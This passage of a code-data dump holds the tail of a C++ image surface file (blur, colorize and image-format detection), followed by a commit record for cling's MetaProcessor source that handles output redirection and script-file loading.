= 0, c1 = 0, c2 = 0, c3 = 0;\n\t  for (unsigned int i = 0; i < hsize; i++) {\n\t    unsigned char * ptr = buffer + (row * actual_width + col + i) * 4;\n\t    c0 += *ptr++ * hkernel[i];\n\t    c1 += *ptr++ * hkernel[i];\n\t    c2 += *ptr++ * hkernel[i];\n\t    c3 += *ptr++ * hkernel[i];\n\t  }\n\t  unsigned char * ptr = tmp + (row * actual_width + col + hsize \/ 2) * 4;\n\t  *ptr++ = (unsigned char)(c0 \/ htotal);\n\t  *ptr++ = (unsigned char)(c1 \/ htotal);\n\t  *ptr++ = (unsigned char)(c2 \/ htotal);\n\t  *ptr++ = (unsigned char)(c3 \/ htotal);\n\t}\n      }\n    } else {\n      memcpy(tmp, buffer, actual_width * actual_height * 4);\n    }\n    if (vradius > 0) {\n      vector<int> vkernel = make_kernel(vradius);\n      unsigned short vsize = vkernel.size();\n\n      int vtotal = 0;\n      for (auto & a : vkernel) vtotal += a;\n      \n      memset(buffer, 0, actual_width * actual_height * 4);\n      for (unsigned int col = 0; col < actual_width; col++) {\n\tfor (unsigned int row = 0; row + vsize <= actual_height; row++) {\n\t  int c0 = 0, c1 = 0, c2 = 0, c3 = 0;\n\t  for (unsigned int i = 0; i < vsize; i++) {\n\t    unsigned char * ptr = tmp + ((row + i) * actual_width + col) * 4;\n\t    c0 += *ptr++ * vkernel[i];\n\t    c1 += *ptr++ * vkernel[i];\n\t    c2 += *ptr++ * vkernel[i];\n\t    c3 += *ptr++ * vkernel[i];\n\t  }\n\t  unsigned char * ptr = buffer + ((row + vsize \/ 2) * actual_width + col) * 4;\n\t  *ptr++ = (unsigned char)(c0 \/ vtotal);\n\t  *ptr++ = (unsigned char)(c1 \/ vtotal);\n\t  *ptr++ = (unsigned char)(c2 \/ vtotal);\n\t  *ptr++ = (unsigned char)(c3 \/ vtotal);\n\t}\n      }\n    } else {\n      memcpy(buffer, tmp, actual_width * actual_height * 4);\n    }\n    delete[] tmp;\n  } else if (format == R8) {\n    unsigned char * tmp = new unsigned char[actual_width * actual_height];\n    if (hradius > 0.0f) {\n      vector<int> hkernel = make_kernel(hradius);\n      unsigned short hsize = hkernel.size();\n\n      int htotal = 0;\n      for (auto & a : hkernel) htotal += a;\n\n      memset(tmp, 0, actual_width * actual_height);\n      for (unsigned int row = 0; row < actual_height; row++) {\n\tfor (unsigned int col = 0; col + hsize <= actual_width; col++) {\n\t  int c0 = 0;\n\t  for (unsigned int i = 0; i < hsize; i++) {\n\t    unsigned char * ptr = buffer + (row * actual_width + col + i);\n\t    c0 += *ptr * hkernel[i];\n\t  }\n\t  unsigned char * ptr = tmp + (row * actual_width + col + hsize \/ 2);\n\t  *ptr = (unsigned char)(c0 \/ htotal);\t  \n\t}\n      }\n    } else {\n      memcpy(tmp, buffer, actual_width * actual_height);\n    }\n    if (vradius > 0) {\n      vector<int> vkernel = make_kernel(vradius);\n      unsigned short vsize = vkernel.size();\n      int vtotal = 0;\n      for (auto & a : vkernel) vtotal += a;\n      \n      memset(buffer, 0, actual_width * actual_height);\n      for (unsigned int col = 0; col < actual_width; col++) {\n\tfor (unsigned int row = 0; row + vsize <= actual_height; row++) {\n\t  int c0 = 0;\n\t  for (unsigned int i = 0; i < vsize; i++) {\n\t    unsigned char * ptr = tmp + ((row + i) * actual_width + col);\n\t    c0 += *ptr * vkernel[i];\n\t  }\n\t  unsigned char * ptr = buffer + ((row + vsize \/ 2) * actual_width + col);\n\t  *ptr = (unsigned char)(c0 \/ vtotal);\n\t}\n      }\n    } else {\n      memcpy(buffer, tmp, actual_width * actual_height);\n    }\n    delete[] tmp;    \n  }\n  releaseMemory();\n}\n\nvoid\nSurface::colorize(const Color & input_color, Surface & target) {\n  Color color = input_color;\n  color.red *= color.alpha;\n  color.green *= color.alpha;\n  color.blue *= color.alpha;\n  \n  assert(getFormat() == R8 && target.getFormat() == RGBA8);\n  assert(getActualWidth() == target.getActualWidth() && getActualHeight() == target.getActualHeight());\n  unsigned char * buffer = (unsigned char *)lockMemory(false);\n  unsigned char * target_buffer = (unsigned char *)target.lockMemory(true);\n\n  for (unsigned int i = 0; i < actual_width * actual_height; i++) {\n    float input_alpha = buffer[i] \/ 255.0f;\n    target_buffer[4 * i + 0] = (unsigned char)(color.red * input_alpha * 255);\n    target_buffer[4 * i + 1] = (unsigned char)(color.green * input_alpha * 255);\n    target_buffer[4 * i + 2] = (unsigned char)(color.blue * input_alpha * 255);\n    target_buffer[4 * i + 3] = (unsigned char)(color.alpha * input_alpha * 255);\n  }\n  \n  releaseMemory();\n  target.releaseMemory();\n}\n\n#if 0\nvoid\nSurface::multiply(const Color & color) {\n  assert(getFormat() == RGBA8);\n  unsigned char * buffer = (unsigned char *)lockMemory(true);\n  assert(buffer);\n  unsigned int red = toByte(color.red);\n  unsigned int green = toByte(color.green);\n  unsigned int blue = toByte(color.blue);\n  unsigned int alpha = toByte(color.alpha);\n  for (unsigned int i = 0; i < actual_width * actual_height; i++) {\n    unsigned char * ptr = buffer + (i * 4);\n    ptr[0] = (unsigned char)(ptr[0] * red \/ 255);\n    ptr[1] = (unsigned char)(ptr[1] * green \/ 255);\n    ptr[2] = (unsigned char)(ptr[2] * blue \/ 255);\n    ptr[3] = (unsigned char)(ptr[3] * alpha \/ 255);\n  }\n  releaseMemory();\n}\n#endif\n\n#if 0\nvoid *\nSurface::lockMemoryPartial(unsigned int x0, unsigned int y0, unsigned int required_width, unsigned int required_height) {\n  unsigned int * buffer = (unsigned int *)lockMemory();\n  assert(buffer);\n\n  delete[] scaled_buffer;\n  scaled_buffer = new unsigned int[required_width * required_height];\n\n  unsigned int offset = 0;\n  for (unsigned int y = y0; y < y0 + required_height; y++) {\n    for (unsigned int x = x0; x < x0 + required_width; x++) {\n      scaled_buffer[offset++] = buffer[y * actual_width + x];\n    }\n  }\n\n  return scaled_buffer;\n}\n#endif\n\nbool\nSurface::isPNG(const unsigned char * buffer, size_t size) {\n  return size >= 4 && buffer[0] == 0x89 && buffer[1] == 0x50 && buffer[2] == 0x4e && buffer[3] == 0x47;\n}\n\nbool\nSurface::isJPEG(const unsigned char * buffer, size_t size) {\n  return size >= 3 && buffer[0] == 0xff && buffer[1] == 0xd8 && buffer[2] == 0xff;\n}\n\nbool\nSurface::isGIF(const unsigned char * buffer, size_t size) {\n  return size >= 6 && buffer[0] == 'G' && buffer[1] == 'I' && buffer[2] == 'F' && buffer[3] == '8' && (buffer[4] == '7' || buffer[4] == '9') && buffer[5] == 'a';\n}\n\nbool\nSurface::isBMP(const unsigned char * buffer, size_t size) {\n  return size > 2 && buffer[0] == 0x42 && buffer[1] == 0x4d;\n}\n\nbool\nSurface::isXML(const unsigned char * buffer, size_t size) {\n  return size >= 6 && buffer[0] == '<' && buffer[1] == '!' && buffer[2] == 'D' && buffer[3] == 'O' && buffer[4] == 'C' && buffer[5] == 'T';\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/------------------------------------------------------------------------------\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ author:  Axel Naumann <axel@cern.ch>\n\/\/\n\/\/ This file is dual-licensed: you can choose to license it under the University\n\/\/ of Illinois Open Source License or the GNU Lesser General Public License. See\n\/\/ LICENSE.TXT for details.\n\/\/------------------------------------------------------------------------------\n\n#include \"cling\/MetaProcessor\/MetaProcessor.h\"\n\n#include \"Display.h\"\n#include \"InputValidator.h\"\n#include \"MetaParser.h\"\n#include \"MetaSema.h\"\n#include \"cling\/Interpreter\/Interpreter.h\"\n#include \"cling\/Interpreter\/Value.h\"\n\n#include \"clang\/Basic\/FileManager.h\"\n#include \"clang\/Basic\/TargetInfo.h\"\n#include \"clang\/Frontend\/CompilerInstance.h\"\n#include \"clang\/Lex\/Preprocessor.h\"\n\n#include \"llvm\/Support\/Path.h\"\n\n#include <fstream>\n#include <cstdlib>\n#include <cctype>\n#include <stdio.h>\n#ifndef WIN32\n#include <unistd.h>\n#else\n#include <io.h>\n#define STDIN_FILENO  0\n#define STDOUT_FILENO 1\n#define STDERR_FILENO 2\n#endif\n\nusing namespace clang;\n\nnamespace cling {\n\n  MetaProcessor::MaybeRedirectOutputRAII::MaybeRedirectOutputRAII(\n                                          MetaProcessor* p)\n  :m_MetaProcessor(p), m_isCurrentlyRedirecting(0) {\n    StringRef redirectionFile;\n    m_MetaProcessor->increaseRedirectionRAIILevel();\n    if (!m_MetaProcessor->m_PrevStdoutFileName.empty()) {\n      redirectionFile = m_MetaProcessor->m_PrevStdoutFileName.back();\n      redirect(stdout, redirectionFile.str(), kSTDOUT);\n    }\n    if (!m_MetaProcessor->m_PrevStderrFileName.empty()) {\n      redirectionFile = m_MetaProcessor->m_PrevStderrFileName.back();\n      \/\/ Deal with the case 2>&1 and 2&>1\n      if (strcmp(redirectionFile.data(), \"_IO_2_1_stdout_\") == 0) {\n        \/\/ If out is redirected to a file.\n        if (!m_MetaProcessor->m_PrevStdoutFileName.empty()) {\n          redirectionFile = m_MetaProcessor->m_PrevStdoutFileName.back();\n        } else {\n          unredirect(m_MetaProcessor->m_backupFDStderr, STDERR_FILENO, stderr);\n        }\n      }\n      redirect(stderr, redirectionFile.str(), kSTDERR);\n    }\n  }\n\n  MetaProcessor::MaybeRedirectOutputRAII::~MaybeRedirectOutputRAII() {\n    pop();\n    m_MetaProcessor->decreaseRedirectionRAIILevel();\n  }\n\n  void MetaProcessor::MaybeRedirectOutputRAII::redirect(FILE* file,\n                                        const std::string& fileName,\n                                        MetaProcessor::RedirectionScope scope) {\n    if (!fileName.empty()) {\n      FILE* redirectionFile = freopen(fileName.c_str(), \"a\", file);\n      if (!redirectionFile) {\n        llvm::errs()<<\"cling::MetaProcessor::MaybeRedirectOutputRAII::redirect:\"\n                    \" Not succefully reopened the redirection file \"\n                    << fileName.c_str() << \"\\n.\";\n      } else {\n        m_isCurrentlyRedirecting |= scope;\n      }\n    }\n  }\n\n  void MetaProcessor::MaybeRedirectOutputRAII::pop() {\n    \/\/If we have only one redirection RAII\n    \/\/only then do the unredirection.\n    if (m_MetaProcessor->getRedirectionRAIILevel() != 1)\n      return;\n\n    if (m_isCurrentlyRedirecting & kSTDOUT) {\n      unredirect(m_MetaProcessor->m_backupFDStdout, STDOUT_FILENO, stdout);\n    }\n    if (m_isCurrentlyRedirecting & kSTDERR) {\n      unredirect(m_MetaProcessor->m_backupFDStderr, STDERR_FILENO, stderr);\n    }\n  }\n\n  void MetaProcessor::MaybeRedirectOutputRAII::unredirect(int backupFD,\n                                                          int expectedFD,\n                                                          FILE* file) {\n    \/\/ Switch back to previous file after line is processed.\n\n    \/\/ Flush the current content if there is any.\n    if (!feof(file)) {\n      fflush(file);\n    }\n    \/\/ Copy the original fd for the std.\n    if (dup2(backupFD, expectedFD) != expectedFD) {\n        llvm::errs() << \"cling::MetaProcessor::unredirect \"\n                     << \"The unredirection file descriptor not valid \"\n                     << backupFD << \".\\n\";\n    }\n  }\n\n  MetaProcessor::MetaProcessor(Interpreter& interp, raw_ostream& outs)\n    : m_Interp(interp), m_Outs(&outs) {\n    m_InputValidator.reset(new InputValidator());\n    m_MetaParser.reset(new MetaParser(new MetaSema(interp, *this)));\n    m_backupFDStdout = copyFileDescriptor(STDOUT_FILENO);\n    m_backupFDStderr = copyFileDescriptor(STDERR_FILENO);\n  }\n\n  MetaProcessor::~MetaProcessor() {\n    close(m_backupFDStdout);\n    close(m_backupFDStderr);\n  }\n\n  int MetaProcessor::process(const char* input_text,\n                             Interpreter::CompilationResult& compRes,\n                             Value* result) {\n    if (result)\n      *result = Value();\n    compRes = Interpreter::kSuccess;\n    int expectedIndent = m_InputValidator->getExpectedIndent();\n\n    if (expectedIndent)\n      compRes = Interpreter::kMoreInputExpected;\n    if (!input_text || !input_text[0]) {\n      \/\/ nullptr \/ empty string, nothing to do.\n      return expectedIndent;\n    }\n    std::string input_line(input_text);\n    if (input_line == \"\\n\") { \/\/ just a blank line, nothing to do.\n      return expectedIndent;\n    }\n    \/\/  Check for and handle meta commands.\n    m_MetaParser->enterNewInputLine(input_line);\n    MetaSema::ActionResult actionResult = MetaSema::AR_Success;\n    if (m_MetaParser->isMetaCommand(actionResult, result)) {\n\n      if (m_MetaParser->isQuitRequested())\n        return -1;\n\n      if (actionResult != MetaSema::AR_Success)\n        compRes = Interpreter::kFailure;\n       \/\/ ExpectedIndent might have changed after meta command.\n       return m_InputValidator->getExpectedIndent();\n    }\n\n    \/\/ Check if the current statement is now complete. If not, return to\n    \/\/ prompt for more.\n    if (m_InputValidator->validate(input_line) == InputValidator::kIncomplete) {\n      compRes = Interpreter::kMoreInputExpected;\n      return m_InputValidator->getExpectedIndent();\n    }\n\n    \/\/  We have a complete statement, compile and execute it.\n    std::string input = m_InputValidator->getInput();\n    m_InputValidator->reset();\n    \/\/ if (m_Options.RawInput)\n    \/\/   compResLocal = m_Interp.declare(input);\n    \/\/ else\n    compRes = m_Interp.process(input, result);\n\n    return 0;\n  }\n\n  void MetaProcessor::cancelContinuation() const {\n    m_InputValidator->reset();\n  }\n\n  int MetaProcessor::getExpectedIndent() const {\n    return m_InputValidator->getExpectedIndent();\n  }\n\n  Interpreter::CompilationResult\n  MetaProcessor::readInputFromFile(llvm::StringRef filename,\n                                   Value* result,\n                                   size_t posOpenCurly) {\n\n    {\n      \/\/ check that it's not binary:\n      std::ifstream in(filename.str().c_str(), std::ios::in | std::ios::binary);\n      char magic[1024] = {0};\n      in.read(magic, sizeof(magic));\n      size_t readMagic = in.gcount();\n      \/\/ Binary files < 300 bytes are rare, and below newlines etc make the\n      \/\/ heuristic unreliable.\n      if (readMagic >= 300) {\n        llvm::StringRef magicStr(magic,in.gcount());\n        llvm::sys::fs::file_magic fileType\n          = llvm::sys::fs::identify_magic(magicStr);\n        if (fileType != llvm::sys::fs::file_magic::unknown) {\n          llvm::errs() << \"Error in cling::MetaProcessor: \"\n            \"cannot read input from a binary file!\\n\";\n          return Interpreter::kFailure;\n        }\n        unsigned printable = 0;\n        for (size_t i = 0; i < readMagic; ++i)\n          if (isprint(magic[i]))\n            ++printable;\n        if (10 * printable <  5 * readMagic) {\n          \/\/ 50% printable for ASCII files should be a safe guess.\n          llvm::errs() << \"Error in cling::MetaProcessor: \"\n            \"cannot read input from a (likely) binary file!\\n\" << printable;\n          return Interpreter::kFailure;\n        }\n      }\n    }\n\n    std::ifstream in(filename.str().c_str());\n    in.seekg(0, std::ios::end);\n    size_t size = in.tellg();\n    std::string content(size, ' ');\n    in.seekg(0);\n    in.read(&content[0], size);\n\n    if (posOpenCurly != (size_t)-1 && !content.empty()) {\n      assert(content[posOpenCurly] == '{'\n             && \"No curly at claimed position of opening curly!\");\n      \/\/ hide the curly brace:\n      content[posOpenCurly] = ' ';\n      \/\/ and the matching closing '}'\n      static const char whitespace[] = \" \\t\\r\\n\";\n      size_t posCloseCurly = content.find_last_not_of(whitespace);\n      if (posCloseCurly != std::string::npos) {\n        if (content[posCloseCurly] == ';' && content[posCloseCurly-1] == '}') {\n          content[posCloseCurly--] = ' '; \/\/ replace ';' and enter next if\n        }\n        if (content[posCloseCurly] == '}') {\n          content[posCloseCurly] = ' '; \/\/ replace '}'\n        } else {\n          std::string::size_type posBlockClose = content.find_last_of('}');\n          if (posBlockClose != std::string::npos) {\n            content[posBlockClose] = ' '; \/\/ replace '}'\n          }\n          std::string::size_type posComment\n            = content.find_first_not_of(whitespace, posBlockClose);\n          if (posComment != std::string::npos\n              && content[posComment] == '\/' && content[posComment+1] == '\/') {\n            \/\/ More text (comments) are okay after the last '}', but\n            \/\/ we can not easily find it to remove it (so we need to upgrade\n            \/\/ this code to better handle the case with comments or\n            \/\/ preprocessor code before and after the leading { and\n            \/\/ trailing })\n            while (posComment <= posCloseCurly) {\n              content[posComment++] = ' '; \/\/ replace '}' and comment\n            }\n          } else {\n            content[posCloseCurly] = '{';\n            \/\/ By putting the '{' back, we keep the code as consistent as\n            \/\/ the user wrote it ... but we should still warn that we not\n            \/\/ goint to treat this file an unamed macro.\n            llvm::errs()\n              << \"Warning in cling::MetaProcessor: can not find the closing '}', \"\n              << llvm::sys::path::filename(filename)\n              << \" is not handled as an unamed script!\\n\";\n          } \/\/ did not find \"\/\/\"\n        } \/\/ remove comments after the trailing '}'\n      } \/\/ find '}'\n    } \/\/ ignore outermost block\n\n    std::string strFilename(filename.str());\n    m_CurrentlyExecutingFile = strFilename;\n    bool topmost = !m_TopExecutingFile.data();\n    if (topmost)\n      m_TopExecutingFile = m_CurrentlyExecutingFile;\n    Interpreter::CompilationResult ret;\n    \/\/ We don't want to value print the results of a unnamed macro.\n    content = \"#line 2 \\\"\" + filename.str() + \"\\\" \\n\" + content;\n    if (process((content + \";\").c_str(), ret, result)) {\n      \/\/ Input file has to be complete.\n       llvm::errs()\n          << \"Error in cling::MetaProcessor: file \"\n          << llvm::sys::path::filename(filename)\n          << \" is incomplete (missing parenthesis or similar)!\\n\";\n      ret = Interpreter::kFailure;\n    }\n    m_CurrentlyExecutingFile = llvm::StringRef();\n    if (topmost)\n      m_TopExecutingFile = llvm::StringRef();\n    return ret;\n  }\n\n  void MetaProcessor::setFileStream(llvm::StringRef file, bool append, int fd,\n              llvm::SmallVector<llvm::SmallString<128>, 2>& prevFileStack) {\n    \/\/ If we have a fileName to redirect to store it.\n    if (!file.empty()) {\n      prevFileStack.push_back(file);\n      \/\/ pop and push a null terminating 0.\n      \/\/ SmallVectorImpl<T> does not have a c_str(), thus instead of casting to\n      \/\/ a SmallString<T> we null terminate the data that we have and pop the\n      \/\/ 0 char back.\n      prevFileStack.back().push_back(0);\n      prevFileStack.back().pop_back();\n      if (!append) {\n        FILE * f;\n        if (!(f = fopen(file.data(), \"w\"))) {\n          llvm::errs() << \"cling::MetaProcessor::setFileStream:\"\n                       \" The file path \" << file.data() << \"is not valid.\";\n        } else {\n          fclose(f);\n        }\n      }\n    \/\/ Else unredirection, so switch to the previous file.\n    } else {\n      \/\/ If there is no previous file on the stack we pop the file\n      if (!prevFileStack.empty()) {\n        prevFileStack.pop_back();\n      }\n    }\n  }\n\n  void MetaProcessor::setStdStream(llvm::StringRef file,\n                                   RedirectionScope stream, bool append) {\n\n    if (stream & kSTDOUT) {\n      setFileStream(file, append, STDOUT_FILENO, m_PrevStdoutFileName);\n    }\n    if (stream & kSTDERR) {\n      setFileStream(file, append, STDERR_FILENO, m_PrevStderrFileName);\n    }\n  }\n\n  int MetaProcessor::copyFileDescriptor(int fd) {\n    int backupFD = dup(fd);\n    if (backupFD < 0) {\n      llvm::errs() << \"MetaProcessor::copyFileDescriptor: Duplicating the file\"\n                   \" descriptor \" << fd << \"resulted in an error.\"\n                   \" Will not be able to unredirect.\";\n    }\n    return backupFD;\n  }\n\n  void MetaProcessor::registerUnloadPoint(const Transaction* T,\n                                          llvm::StringRef filename) {\n    m_MetaParser->getActions().registerUnloadPoint(T, filename);\n  }\n\n} \/\/ end namespace cling\n<commit_msg>Add missing newline.<commit_after>\/\/------------------------------------------------------------------------------\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ author:  Axel Naumann <axel@cern.ch>\n\/\/\n\/\/ This file is dual-licensed: you can choose to license it under the University\n\/\/ of Illinois Open Source License or the GNU Lesser General Public License. See\n\/\/ LICENSE.TXT for details.\n\/\/------------------------------------------------------------------------------\n\n#include \"cling\/MetaProcessor\/MetaProcessor.h\"\n\n#include \"Display.h\"\n#include \"InputValidator.h\"\n#include \"MetaParser.h\"\n#include \"MetaSema.h\"\n#include \"cling\/Interpreter\/Interpreter.h\"\n#include \"cling\/Interpreter\/Value.h\"\n\n#include \"clang\/Basic\/FileManager.h\"\n#include \"clang\/Basic\/TargetInfo.h\"\n#include \"clang\/Frontend\/CompilerInstance.h\"\n#include \"clang\/Lex\/Preprocessor.h\"\n\n#include \"llvm\/Support\/Path.h\"\n\n#include <fstream>\n#include <cstdlib>\n#include <cctype>\n#include <stdio.h>\n#ifndef WIN32\n#include <unistd.h>\n#else\n#include <io.h>\n#define STDIN_FILENO  0\n#define STDOUT_FILENO 1\n#define STDERR_FILENO 2\n#endif\n\nusing namespace clang;\n\nnamespace cling {\n\n  MetaProcessor::MaybeRedirectOutputRAII::MaybeRedirectOutputRAII(\n                                          MetaProcessor* p)\n  :m_MetaProcessor(p), m_isCurrentlyRedirecting(0) {\n    StringRef redirectionFile;\n    m_MetaProcessor->increaseRedirectionRAIILevel();\n    if (!m_MetaProcessor->m_PrevStdoutFileName.empty()) {\n      redirectionFile = m_MetaProcessor->m_PrevStdoutFileName.back();\n      redirect(stdout, redirectionFile.str(), kSTDOUT);\n    }\n    if (!m_MetaProcessor->m_PrevStderrFileName.empty()) {\n      redirectionFile = m_MetaProcessor->m_PrevStderrFileName.back();\n      \/\/ Deal with the case 2>&1 and 2&>1\n      if (strcmp(redirectionFile.data(), \"_IO_2_1_stdout_\") == 0) {\n        \/\/ If out is redirected to a file.\n        if (!m_MetaProcessor->m_PrevStdoutFileName.empty()) {\n          redirectionFile = m_MetaProcessor->m_PrevStdoutFileName.back();\n        } else {\n          unredirect(m_MetaProcessor->m_backupFDStderr, STDERR_FILENO, stderr);\n        }\n      }\n      redirect(stderr, redirectionFile.str(), kSTDERR);\n    }\n  }\n\n  MetaProcessor::MaybeRedirectOutputRAII::~MaybeRedirectOutputRAII() {\n    pop();\n    m_MetaProcessor->decreaseRedirectionRAIILevel();\n  }\n\n  void MetaProcessor::MaybeRedirectOutputRAII::redirect(FILE* file,\n                                        const std::string& fileName,\n                                        MetaProcessor::RedirectionScope scope) {\n    if (!fileName.empty()) {\n      FILE* redirectionFile = freopen(fileName.c_str(), \"a\", file);\n      if (!redirectionFile) {\n        llvm::errs()<<\"cling::MetaProcessor::MaybeRedirectOutputRAII::redirect:\"\n                    \" Not succefully reopened the redirection file \"\n                    << fileName.c_str() << \"\\n.\";\n      } else {\n        m_isCurrentlyRedirecting |= scope;\n      }\n    }\n  }\n\n  void MetaProcessor::MaybeRedirectOutputRAII::pop() {\n    \/\/If we have only one redirection RAII\n    \/\/only then do the unredirection.\n    if (m_MetaProcessor->getRedirectionRAIILevel() != 1)\n      return;\n\n    if (m_isCurrentlyRedirecting & kSTDOUT) {\n      unredirect(m_MetaProcessor->m_backupFDStdout, STDOUT_FILENO, stdout);\n    }\n    if (m_isCurrentlyRedirecting & kSTDERR) {\n      unredirect(m_MetaProcessor->m_backupFDStderr, STDERR_FILENO, stderr);\n    }\n  }\n\n  void MetaProcessor::MaybeRedirectOutputRAII::unredirect(int backupFD,\n                                                          int expectedFD,\n                                                          FILE* file) {\n    \/\/ Switch back to previous file after line is processed.\n\n    \/\/ Flush the current content if there is any.\n    if (!feof(file)) {\n      fflush(file);\n    }\n    \/\/ Copy the original fd for the std.\n    if (dup2(backupFD, expectedFD) != expectedFD) {\n        llvm::errs() << \"cling::MetaProcessor::unredirect \"\n                     << \"The unredirection file descriptor not valid \"\n                     << backupFD << \".\\n\";\n    }\n  }\n\n  MetaProcessor::MetaProcessor(Interpreter& interp, raw_ostream& outs)\n    : m_Interp(interp), m_Outs(&outs) {\n    m_InputValidator.reset(new InputValidator());\n    m_MetaParser.reset(new MetaParser(new MetaSema(interp, *this)));\n    m_backupFDStdout = copyFileDescriptor(STDOUT_FILENO);\n    m_backupFDStderr = copyFileDescriptor(STDERR_FILENO);\n  }\n\n  MetaProcessor::~MetaProcessor() {\n    close(m_backupFDStdout);\n    close(m_backupFDStderr);\n  }\n\n  int MetaProcessor::process(const char* input_text,\n                             Interpreter::CompilationResult& compRes,\n                             Value* result) {\n    if (result)\n      *result = Value();\n    compRes = Interpreter::kSuccess;\n    int expectedIndent = m_InputValidator->getExpectedIndent();\n\n    if (expectedIndent)\n      compRes = Interpreter::kMoreInputExpected;\n    if (!input_text || !input_text[0]) {\n      \/\/ nullptr \/ empty string, nothing to do.\n      return expectedIndent;\n    }\n    std::string input_line(input_text);\n    if (input_line == \"\\n\") { \/\/ just a blank line, nothing to do.\n      return expectedIndent;\n    }\n    \/\/  Check for and handle meta commands.\n    m_MetaParser->enterNewInputLine(input_line);\n    MetaSema::ActionResult actionResult = MetaSema::AR_Success;\n    if (m_MetaParser->isMetaCommand(actionResult, result)) {\n\n      if (m_MetaParser->isQuitRequested())\n        return -1;\n\n      if (actionResult != MetaSema::AR_Success)\n        compRes = Interpreter::kFailure;\n       \/\/ ExpectedIndent might have changed after meta command.\n       return m_InputValidator->getExpectedIndent();\n    }\n\n    \/\/ Check if the current statement is now complete. If not, return to\n    \/\/ prompt for more.\n    if (m_InputValidator->validate(input_line) == InputValidator::kIncomplete) {\n      compRes = Interpreter::kMoreInputExpected;\n      return m_InputValidator->getExpectedIndent();\n    }\n\n    \/\/  We have a complete statement, compile and execute it.\n    std::string input = m_InputValidator->getInput();\n    m_InputValidator->reset();\n    \/\/ if (m_Options.RawInput)\n    \/\/   compResLocal = m_Interp.declare(input);\n    \/\/ else\n    compRes = m_Interp.process(input, result);\n\n    return 0;\n  }\n\n  void MetaProcessor::cancelContinuation() const {\n    m_InputValidator->reset();\n  }\n\n  int MetaProcessor::getExpectedIndent() const {\n    return m_InputValidator->getExpectedIndent();\n  }\n\n  Interpreter::CompilationResult\n  MetaProcessor::readInputFromFile(llvm::StringRef filename,\n                                   Value* result,\n                                   size_t posOpenCurly) {\n\n    {\n      \/\/ check that it's not binary:\n      std::ifstream in(filename.str().c_str(), std::ios::in | std::ios::binary);\n      char magic[1024] = {0};\n      in.read(magic, sizeof(magic));\n      size_t readMagic = in.gcount();\n      \/\/ Binary files < 300 bytes are rare, and below newlines etc make the\n      \/\/ heuristic unreliable.\n      if (readMagic >= 300) {\n        llvm::StringRef magicStr(magic,in.gcount());\n        llvm::sys::fs::file_magic fileType\n          = llvm::sys::fs::identify_magic(magicStr);\n        if (fileType != llvm::sys::fs::file_magic::unknown) {\n          llvm::errs() << \"Error in cling::MetaProcessor: \"\n            \"cannot read input from a binary file!\\n\";\n          return Interpreter::kFailure;\n        }\n        unsigned printable = 0;\n        for (size_t i = 0; i < readMagic; ++i)\n          if (isprint(magic[i]))\n            ++printable;\n        if (10 * printable <  5 * readMagic) {\n          \/\/ 50% printable for ASCII files should be a safe guess.\n          llvm::errs() << \"Error in cling::MetaProcessor: \"\n            \"cannot read input from a (likely) binary file!\\n\" << printable;\n          return Interpreter::kFailure;\n        }\n      }\n    }\n\n    std::ifstream in(filename.str().c_str());\n    in.seekg(0, std::ios::end);\n    size_t size = in.tellg();\n    std::string content(size, ' ');\n    in.seekg(0);\n    in.read(&content[0], size);\n\n    if (posOpenCurly != (size_t)-1 && !content.empty()) {\n      assert(content[posOpenCurly] == '{'\n             && \"No curly at claimed position of opening curly!\");\n      \/\/ hide the curly brace:\n      content[posOpenCurly] = ' ';\n      \/\/ and the matching closing '}'\n      static const char whitespace[] = \" \\t\\r\\n\";\n      size_t posCloseCurly = content.find_last_not_of(whitespace);\n      if (posCloseCurly != std::string::npos) {\n        if (content[posCloseCurly] == ';' && content[posCloseCurly-1] == '}') {\n          content[posCloseCurly--] = ' '; \/\/ replace ';' and enter next if\n        }\n        if (content[posCloseCurly] == '}') {\n          content[posCloseCurly] = ' '; \/\/ replace '}'\n        } else {\n          std::string::size_type posBlockClose = content.find_last_of('}');\n          if (posBlockClose != std::string::npos) {\n            content[posBlockClose] = ' '; \/\/ replace '}'\n          }\n          std::string::size_type posComment\n            = content.find_first_not_of(whitespace, posBlockClose);\n          if (posComment != std::string::npos\n              && content[posComment] == '\/' && content[posComment+1] == '\/') {\n            \/\/ More text (comments) are okay after the last '}', but\n            \/\/ we can not easily find it to remove it (so we need to upgrade\n            \/\/ this code to better handle the case with comments or\n            \/\/ preprocessor code before and after the leading { and\n            \/\/ trailing })\n            while (posComment <= posCloseCurly) {\n              content[posComment++] = ' '; \/\/ replace '}' and comment\n            }\n          } else {\n            content[posCloseCurly] = '{';\n            \/\/ By putting the '{' back, we keep the code as consistent as\n            \/\/ the user wrote it ... but we should still warn that we not\n            \/\/ goint to treat this file an unamed macro.\n            llvm::errs()\n              << \"Warning in cling::MetaProcessor: can not find the closing '}', \"\n              << llvm::sys::path::filename(filename)\n              << \" is not handled as an unamed script!\\n\";\n          } \/\/ did not find \"\/\/\"\n        } \/\/ remove comments after the trailing '}'\n      } \/\/ find '}'\n    } \/\/ ignore outermost block\n\n    std::string strFilename(filename.str());\n    m_CurrentlyExecutingFile = strFilename;\n    bool topmost = !m_TopExecutingFile.data();\n    if (topmost)\n      m_TopExecutingFile = m_CurrentlyExecutingFile;\n    Interpreter::CompilationResult ret;\n    \/\/ We don't want to value print the results of a unnamed macro.\n    content = \"#line 2 \\\"\" + filename.str() + \"\\\" \\n\" + content;\n    if (process((content + \";\").c_str(), ret, result)) {\n      \/\/ Input file has to be complete.\n       llvm::errs()\n          << \"Error in cling::MetaProcessor: file \"\n          << llvm::sys::path::filename(filename)\n          << \" is incomplete (missing parenthesis or similar)!\\n\";\n      ret = Interpreter::kFailure;\n    }\n    m_CurrentlyExecutingFile = llvm::StringRef();\n    if (topmost)\n      m_TopExecutingFile = llvm::StringRef();\n    return ret;\n  }\n\n  void MetaProcessor::setFileStream(llvm::StringRef file, bool append, int fd,\n              llvm::SmallVector<llvm::SmallString<128>, 2>& prevFileStack) {\n    \/\/ If we have a fileName to redirect to store it.\n    if (!file.empty()) {\n      prevFileStack.push_back(file);\n      \/\/ pop and push a null terminating 0.\n      \/\/ SmallVectorImpl<T> does not have a c_str(), thus instead of casting to\n      \/\/ a SmallString<T> we null terminate the data that we have and pop the\n      \/\/ 0 char back.\n      prevFileStack.back().push_back(0);\n      prevFileStack.back().pop_back();\n      if (!append) {\n        FILE * f;\n        if (!(f = fopen(file.data(), \"w\"))) {\n          llvm::errs() << 